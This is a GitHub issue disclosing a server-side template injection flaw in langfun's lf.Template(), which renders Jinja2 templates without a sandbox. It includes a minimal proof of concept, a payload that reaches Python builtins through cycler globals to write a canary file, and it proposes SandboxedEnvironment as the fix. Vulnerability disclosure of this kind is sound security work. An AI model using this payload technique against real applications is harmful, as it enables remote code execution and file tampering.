Skip to content

Security: RCE via Server-Side Template Injection in lf.Template() #762

Description

@Texuguinho1234

Summary

lf.Template() uses jinja2.Template() without SandboxedEnvironment,
allowing arbitrary code execution when template strings originate
from untrusted sources.

This is the same vulnerability class as #725 (CVE-2026-75062) reported by @thegr1ffyn.

Minimal Reproduction

import os, pathlib, tempfile
import langfun as lf

CANARY = pathlib.Path(tempfile.gettempdir()) / f"lf_ssti_{os.getpid()}"
if CANARY.exists(): CANARY.unlink()

canary_path = str(CANARY).replace('\\', '/')
payload = f"{{{{ cycler.__init__.__globals__['__builtins__']['open']('{canary_path}','w').write('hit') }}}}"

t = lf.Template(payload)
t.render()

print("canary written:", CANARY.exists())  
if CANARY.exists(): CANARY.unlink()

Impact

  • Remote Code Execution
  • Read/write arbitrary files
  • Execute system commands

Suggested Fix

Use SandboxedEnvironment()

Related

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions